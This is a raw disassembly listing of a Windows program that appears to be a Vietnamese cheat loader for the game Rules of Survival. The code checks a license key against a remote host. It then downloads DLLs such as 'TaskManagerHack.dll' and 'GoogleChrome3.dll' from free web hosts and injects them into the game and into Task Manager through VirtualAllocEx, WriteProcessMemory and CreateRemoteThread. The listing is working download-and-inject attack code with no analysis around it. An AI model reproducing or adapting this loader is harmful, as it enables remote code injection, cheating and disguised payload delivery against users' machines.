lea rdx, str.Dang_Check_KEY______
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140006ca0
mov r14d, esi
nop word [rax + rax]
lea rax, [rbp - 0x30]
mov qword [rbp + 0x1b0], rax
movsxd rdi, r14d
shl rdi, 5
lea rdx, [rbp + 0x1720]
add rdx, rdi
lea rcx, [rbp - 0x30]
call fcn.1400067b0
mov rbx, rax
lea rdx, str.quyengabon2.atwebpages.com
lea rcx, [rbp - 0x70]
call fcn.140006690
nop
mov r9, rbx
mov r8, rax
lea rdx, [rbp - 0x50]
mov rcx, qword [0x140010a18]
call fcn.1400077a0
lea rcx, [rbp + 0x1b20]
add rdi, rcx
mov rdx, rax
mov rcx, rdi
call fcn.140006600
lea rcx, [rbp - 0x50]
call fcn.1400028c0
lea r8, [rbp + 0x788]
lea rdx, [rbp + 0x668]
lea rcx, [rsp + 0x50]
call fcn.140007070
nop
mov ebx, dword [rsp + 0x40]
or ebx, 1
mov dword [rbp + 0x1b0], ebx
lea r8, [rbp + 0x7a8]
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.140007000
nop
or ebx, 2
mov dword [rbp + 0x1b0], ebx
lea r8, [rbp + 0x7c8]
mov rdx, rax
lea rcx, [rbp + 0xd0]
call fcn.140007000
nop
or ebx, 4
mov dword [rbp + 0x1b0], ebx
lea r8, [rbp + 0x7e8]
mov rdx, rax
lea rcx, [rbp + 0xf0]
call fcn.140007000
nop
or ebx, 8
mov dword [rbp + 0x1b0], ebx
lea r8, [rbp + 0x808]
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.140007000
nop
or ebx, 0x10
mov dword [rbp + 0x1b0], ebx
lea r8, [rbp + 0x828]
mov rdx, rax
lea rcx, [rbp + 0x110]
call fcn.140007000
nop
or ebx, 0x20
mov dword [rbp + 0x1b0], ebx
lea r8, [rbp + 0x848]
mov rdx, rax
lea rcx, [rbp + 0x130]
call fcn.140007000
nop
or ebx, 0x40
mov dword [rbp + 0x1b0], ebx
lea r8, [rbp + 0x5c8]
mov rdx, rax
lea rcx, [rbp + 0x150]
call fcn.140007000
nop
bts ebx, 7
mov dword [rbp + 0x1b0], ebx
lea r8, [rbp + 0x5e8]
mov rdx, rax
lea rcx, [rbp + 0x170]
call fcn.140007000
nop
bts ebx, 8
mov dword [rbp + 0x1b0], ebx
lea r8, [rbp + 0x608]
mov rdx, rax
lea rcx, [rbp + 0x190]
call fcn.140007000
nop
bts ebx, 9
mov dword [rbp + 0x1b0], ebx
lea r8, [rbp + 0x628]
mov rdx, rax
lea rcx, [rbp + 0x568]
call fcn.140007000
nop
bts ebx, 0xa
mov dword [rbp + 0x1b0], ebx
lea r8, [rbp + 0x648]
mov rdx, rax
lea rcx, [rbp + 0xca8]
call fcn.140007000
nop
bts ebx, 0xb
mov dword [rbp + 0x1b0], ebx
lea r8, [rbp + 0x688]
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.140007000
nop
bts ebx, 0xc
mov dword [rbp + 0x1b0], ebx
lea r8, [rbp + 0x6a8]
mov rdx, rax
lea rcx, [rbp - 0x10]
call fcn.140007000
nop
bts ebx, 0xd
mov dword [rbp + 0x1b0], ebx
lea r8, [rbp + 0x6c8]
mov rdx, rax
lea rcx, [rbp + 0x90]
call fcn.140007000
nop
bts ebx, 0xe
mov dword [rbp + 0x1b0], ebx
lea r8, [rbp + 0x6e8]
mov rdx, rax
lea rcx, [rbp + 0x70]
call fcn.140007000
nop
bts ebx, 0xf
mov dword [rbp + 0x1b0], ebx
lea r8, [rbp + 0x708]
mov rdx, rax
lea rcx, [rbp + 0x50]
call fcn.140007000
nop
bts ebx, 0x10
mov dword [rbp + 0x1b0], ebx
lea r8, [rbp + 0x728]
mov rdx, rax
lea rcx, [rbp + 0x30]
call fcn.140007000
nop
bts ebx, 0x11
mov dword [rbp + 0x1b0], ebx
lea r8, [rbp + 0x748]
mov rdx, rax
lea rcx, [rbp - 0x50]
call fcn.140007000
nop
bts ebx, 0x12
mov dword [rbp + 0x1b0], ebx
lea r8, [rbp + 0x768]
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.140007000
nop
bts ebx, 0x13
mov dword [rbp + 0x1b0], ebx
lea r8, [rbp + 0x5a8]
mov rdx, rax
lea rcx, [rbp - 0x30]
call fcn.140007000
bts ebx, 0x14
mov dword [rsp + 0x40], ebx
lea rdx, str.8089863027FB66A64A20AA
mov rcx, rax
call fcn.140007560
test al, al
jne 0x140004aaf
lea rdx, str.quyenga22222
mov rcx, rdi
call fcn.140007560
test al, al
jne 0x140004aaf
xor dil, dil
jmp 0x140004ab2
mov dil, 1
bt ebx, 0x14
jae 0x140004aca
btr ebx, 0x14
mov dword [rsp + 0x40], ebx
lea rcx, [rbp - 0x30]
call fcn.1400028c0
nop
bt ebx, 0x13
jae 0x140004ae2
btr ebx, 0x13
mov dword [rsp + 0x40], ebx
lea rcx, [rbp - 0x70]
call fcn.1400028c0
nop
bt ebx, 0x12
jae 0x140004afa
btr ebx, 0x12
mov dword [rsp + 0x40], ebx
lea rcx, [rbp - 0x50]
call fcn.1400028c0
nop
bt ebx, 0x11
jae 0x140004b12
btr ebx, 0x11
mov dword [rsp + 0x40], ebx
lea rcx, [rbp + 0x30]
call fcn.1400028c0
nop
bt ebx, 0x10
jae 0x140004b2a
btr ebx, 0x10
mov dword [rsp + 0x40], ebx
lea rcx, [rbp + 0x50]
call fcn.1400028c0
nop
bt ebx, 0xf
jae 0x140004b42
btr ebx, 0xf
mov dword [rsp + 0x40], ebx
lea rcx, [rbp + 0x70]
call fcn.1400028c0
nop
bt ebx, 0xe
jae 0x140004b5d
btr ebx, 0xe
mov dword [rsp + 0x40], ebx
lea rcx, [rbp + 0x90]
call fcn.1400028c0
nop
bt ebx, 0xd
jae 0x140004b75
btr ebx, 0xd
mov dword [rsp + 0x40], ebx
lea rcx, [rbp - 0x10]
call fcn.1400028c0
nop
bt ebx, 0xc
jae 0x140004b8d
btr ebx, 0xc
mov dword [rsp + 0x40], ebx
lea rcx, [rbp + 0x10]
call fcn.1400028c0
nop
bt ebx, 0xb
jae 0x140004ba8
btr ebx, 0xb
mov dword [rsp + 0x40], ebx
lea rcx, [rbp + 0xca8]
call fcn.1400028c0
nop
bt ebx, 0xa
jae 0x140004bc3
btr ebx, 0xa
mov dword [rsp + 0x40], ebx
lea rcx, [rbp + 0x568]
call fcn.1400028c0
nop
bt ebx, 9
jae 0x140004bde
btr ebx, 9
mov dword [rsp + 0x40], ebx
lea rcx, [rbp + 0x190]
call fcn.1400028c0
nop
bt ebx, 8
jae 0x140004bf9
btr ebx, 8
mov dword [rsp + 0x40], ebx
lea rcx, [rbp + 0x170]
call fcn.1400028c0
nop
test bl, bl
jns 0x140004c12
btr ebx, 7
mov dword [rsp + 0x40], ebx
lea rcx, [rbp + 0x150]
call fcn.1400028c0
nop
test bl, 0x40
je 0x140004c2b
and ebx, 0xffffffbf
mov dword [rsp + 0x40], ebx
lea rcx, [rbp + 0x130]
call fcn.1400028c0
nop
test bl, 0x20
je 0x140004c44
and ebx, 0xffffffdf
mov dword [rsp + 0x40], ebx
lea rcx, [rbp + 0x110]
call fcn.1400028c0
nop
test bl, 0x10
je 0x140004c5d
and ebx, 0xffffffef
mov dword [rsp + 0x40], ebx
lea rcx, [rbp + 0xb0]
call fcn.1400028c0
nop
test bl, 8
je 0x140004c76
and ebx, 0xfffffff7
mov dword [rsp + 0x40], ebx
lea rcx, [rbp + 0xf0]
call fcn.1400028c0
nop
test bl, 4
je 0x140004c8f
and ebx, 0xfffffffb
mov dword [rsp + 0x40], ebx
lea rcx, [rbp + 0xd0]
call fcn.1400028c0
nop
test bl, 2
je 0x140004ca6
and ebx, 0xfffffffd
mov dword [rsp + 0x40], ebx
lea rcx, [rsp + 0x70]
call fcn.1400028c0
nop
test bl, 1
je 0x140004cbc
and ebx, 0xfffffffe
mov dword [rsp + 0x40], ebx
lea rcx, [rsp + 0x50]
call fcn.1400028c0
test dil, dil
jne 0x140004cd0
inc r14d
cmp r14d, 0x1e
jle 0x140004780
jmp 0x140004cd6
mov r15d, 1
lea r8, [rbp + 0x788]
lea rdx, [rbp + 0x668]
lea rcx, [rbp + 0x568]
call fcn.140007070
nop
lea r8, [rbp + 0x7a8]
mov rdx, rax
lea rcx, [rbp + 0xca8]
call fcn.140007000
nop
lea r8, [rbp + 0x7c8]
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.140007000
nop
lea r8, [rbp + 0x7e8]
mov rdx, rax
lea rcx, [rbp - 0x10]
call fcn.140007000
nop
lea r8, [rbp + 0x808]
mov rdx, rax
lea rcx, [rbp + 0x90]
call fcn.140007000
nop
lea r8, [rbp + 0x828]
mov rdx, rax
lea rcx, [rbp + 0x70]
call fcn.140007000
nop
lea r8, [rbp + 0x848]
mov rdx, rax
lea rcx, [rbp + 0x50]
call fcn.140007000
nop
lea r8, [rbp + 0x5c8]
mov rdx, rax
lea rcx, [rbp + 0x30]
call fcn.140007000
nop
lea r8, [rbp + 0x5e8]
mov rdx, rax
lea rcx, [rbp - 0x50]
call fcn.140007000
nop
lea r8, [rbp + 0x608]
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.140007000
nop
lea r8, [rbp + 0x628]
mov rdx, rax
lea rcx, [rbp - 0x30]
call fcn.140007000
nop
lea r8, [rbp + 0x648]
mov rdx, rax
lea rcx, [rbp + 0x190]
call fcn.140007000
nop
lea r8, [rbp + 0x688]
mov rdx, rax
lea rcx, [rbp + 0x170]
call fcn.140007000
nop
lea r8, [rbp + 0x6a8]
mov rdx, rax
lea rcx, [rbp + 0x150]
call fcn.140007000
nop
lea r8, [rbp + 0x6c8]
mov rdx, rax
lea rcx, [rbp + 0x130]
call fcn.140007000
nop
lea r8, [rbp + 0x6e8]
mov rdx, rax
lea rcx, [rbp + 0x110]
call fcn.140007000
nop
lea r8, [rbp + 0x708]
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.140007000
nop
lea r8, [rbp + 0x728]
mov rdx, rax
lea rcx, [rbp + 0xf0]
call fcn.140007000
nop
lea r8, [rbp + 0x748]
mov rdx, rax
lea rcx, [rbp + 0xd0]
call fcn.140007000
nop
lea r8, [rbp + 0x768]
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.140007000
nop
lea r8, [rbp + 0x5a8]
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.140007000
mov rbx, rax
lea rdx, str.KEY_:_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140006ca0
mov rcx, rax
mov rdx, rbx
call fcn.1400071d0
nop
lea rcx, [rsp + 0x50]
call fcn.1400028c0
nop
lea rcx, [rsp + 0x70]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xd0]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xf0]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xb0]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x110]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x130]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x150]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x170]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x190]
call fcn.1400028c0
nop
lea rcx, [rbp - 0x30]
call fcn.1400028c0
nop
lea rcx, [rbp - 0x70]
call fcn.1400028c0
nop
lea rcx, [rbp - 0x50]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x30]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x50]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x70]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x90]
call fcn.1400028c0
nop
lea rcx, [rbp - 0x10]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x10]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xca8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x568]
call fcn.1400028c0
test r15d, r15d
jne 0x140005423
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, str.https:__discord.com_invite_jjQ2KApzp3
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
movzx edx, byte [rbp + 0x520]
lea rcx, [rbp + 0x568]
call fcn.140002e30
lea rcx, [rbp + 0x568]
call fcn.140002d00
nop
lea rdx, [rbp + 0x568]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400071f0
nop
lea rcx, [rbp + 0x568]
call fcn.1400028c0
nop
mov edx, 0x20
mov r9, r12
mov r8d, edx
lea rcx, [rbp + 0x1720]
call fcn.1400089e8
nop
mov edx, 0x20
mov r8d, edx
mov r9, r12
lea rcx, [rbp + 0x1b20]
call fcn.1400089e8
nop
lea rcx, [rbp + 0x528]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x5a8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x768]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x748]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x728]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x708]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x6e8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x6c8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x6a8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x688]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x648]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x628]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x608]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x5e8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x5c8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x848]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x828]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x808]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x7e8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x7c8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x7a8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x788]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x668]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x4c0]
call fcn.1400026f0
lea rcx, [rbp + 0x4c0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0xd78]
call fcn.140006380
lea rcx, [rbp + 0xd78]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0xe88]
call fcn.140006380
lea rcx, [rbp + 0xe88]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x588]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xa88]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xaa8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xac8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xae8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xb08]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xb28]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xb48]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xb68]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xb88]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xa28]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x3b0]
call fcn.1400026f0
lea rcx, [rbp + 0x3b0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0xf98]
call fcn.140006380
lea rcx, [rbp + 0xf98]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x548]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xba8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xbc8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xbe8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xc08]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xc28]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xc48]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xc68]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xc88]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x868]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x888]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x8a8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x8c8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x8e8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x908]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x928]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x948]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x968]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x988]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x9a8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x9c8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x2a0]
call fcn.1400026f0
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0xa48]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xa68]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x9e8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xa08]
call fcn.1400028c0
xor eax, eax
mov rcx, qword [rbp + 0x1f60]
xor rcx, rsp
call fcn.140008950
lea r11, [rsp + 0x2080]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
cmp r15d, 1
jne 0x140005022
lea rcx, [0x14000be48]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [0x140006e70]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140006e70]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140006e70]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.hyxd.exe
lea rcx, [rbp + 0x568]
call fcn.140006690
nop
lea rdx, [rbp + 0x568]
lea rcx, [rsp + 0x50]
call fcn.1400067b0
mov rcx, rax
call fcn.140003250
mov dword [rbp + 0x1b0], eax
movsd xmm0, qword [str.hyxd.exe]
movsd qword [rbp + 0x1f20], xmm0
movzx eax, byte [0x14000be58]
mov byte [rbp + 0x1f28], al
lea rdx, str.VN_Rules_of_Survival
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
lea rdx, [rbp + 0x1b0]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov r8d, dword [rbp + 0x1b0]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov edx, dword [rbp + 0x1b0]
lea rcx, [rbp + 0x1f20]
call fcn.140003550
mov rcx, qword [0x140010a18]
call fcn.140008550
mov rcx, qword [0x140010a18]
call fcn.140008610
lea rcx, [0x14000be48]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [0x140010a18]
call fcn.1400086a0
mov rcx, qword [0x140010a18]
call fcn.140008610
mov edx, 2
mov r8d, edx
mov rcx, qword [0x140010a18]
call fcn.140008660
lea rdx, [0x140002fe0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, str.Dang_Tai_Hack_Amibot
call fcn.140006ca0
mov edx, 2
mov r8d, edx
mov rcx, qword [0x140010a18]
call fcn.140008660
lea rdx, [0x140002fe0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, str.Bam_So_1:_May_Cau_Hinh_Manh__Ve_Xuong__Line
call fcn.140006ca0
mov edx, 2
mov r8d, 3
mov rcx, qword [0x140010a18]
call fcn.140008660
lea rdx, [0x140002fe0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, str.Bam_So_2:_May_Cau_Hinh_Yeu___Ve_Khung_2D
call fcn.140006ca0
mov edx, 2
mov r8d, 4
mov rcx, qword [0x140010a18]
call fcn.140008660
lea rdx, [0x140002fe0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, str.Bam_So_3:_May_Cau_Hinh_Manh_Quyen_Ngao
call fcn.140006ca0
lea rdx, str.Taskmgr.exe
lea rcx, [rbp + 0xca8]
call fcn.140006690
nop
lea rcx, [rbp + 0xca8]
call fcn.140003450
mov ebx, eax
lea rcx, [rbp + 0xca8]
call fcn.1400028c0
mov r8d, ebx
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rdx, str.c:__TaskManagerHack.dll
lea rcx, [rsp + 0x50]
call fcn.140006690
mov rbx, rax
lea rdx, str.http:__quyengabon2.atwebpages.com_TaskManagerHack.dll
lea rcx, [rsp + 0x70]
call fcn.140006690
nop
mov r8, rbx
mov rdx, rax
mov rcx, qword [0x140010a18]
call fcn.1400083c0
test al, al
je 0x140005748
lea rdx, str.c:TaskManagerHack.dll
lea rcx, [rbp + 0xca8]
call fcn.140006690
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x20
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
lea rcx, [rbp + 0xca8]
call fcn.140006560
mov r8, rax
mov qword [rsp + 0x20], rsi
mov r9d, 0x20
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rbx
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0xca8]
call fcn.1400028c0
call qword [sym.imp.api_ms_win_crt_conio_l1_1_0.dll__getch]
sub eax, 0x31
je 0x140005f32
sub eax, 1
je 0x140005776
cmp eax, 1
je 0x140005de9
lea rcx, [rbp + 0x568]
call fcn.1400028c0
jmp 0x140005022
lea rcx, [0x14000be48]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rdx, str.c:__GoogleChrome3.dll
lea rcx, [rsp + 0x50]
call fcn.140006690
mov rbx, rax
lea rdx, str.https:__quyenga.000webhostapp.com_files_aGoogleChrome3.dll
lea rcx, [rsp + 0x70]
call fcn.140006690
nop
mov r8, rbx
mov rdx, rax
mov rcx, qword [0x140010a18]
call fcn.1400083c0
test al, al
je 0x140005f0d
xor edx, edx
mov r8d, 0x12c
lea rcx, [rbp + 0x1004]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp + 0x1000], 0x130
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140005bb5
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.CreateToolhelp32Snapshot_failed:_0x_X_n
mov edx, eax
call fcn.140001050
lea rcx, str.PAUSE
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rcx, [rbp + 0x568]
call fcn.1400028c0
nop
mov r9, r12
mov edx, 0x20
mov r8d, edx
lea rcx, [rbp + 0x1720]
call fcn.1400089e8
nop
mov r9, r12
mov edx, 0x20
mov r8d, edx
lea rcx, [rbp + 0x1b20]
call fcn.1400089e8
nop
lea rcx, [rbp + 0x528]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x5a8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x768]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x748]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x728]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x708]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x6e8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x6c8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x6a8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x688]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x648]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x628]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x608]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x5e8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x5c8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x848]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x828]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x808]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x7e8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x7c8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x7a8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x788]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x668]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x410]
call fcn.140001780
nop
lea rcx, [rbp + 0xcd0]
call fcn.140006270
nop
lea rcx, [rbp + 0xde0]
call fcn.140006270
nop
lea rcx, [rbp + 0x588]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xa88]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xaa8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xac8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xae8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xb08]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xb28]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xb48]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xb68]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xb88]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xa28]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x300]
call fcn.140001780
nop
lea rcx, [rbp + 0xef0]
call fcn.140006270
nop
lea rcx, [rbp + 0x548]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xba8]
call fcn.1400028c0
nop
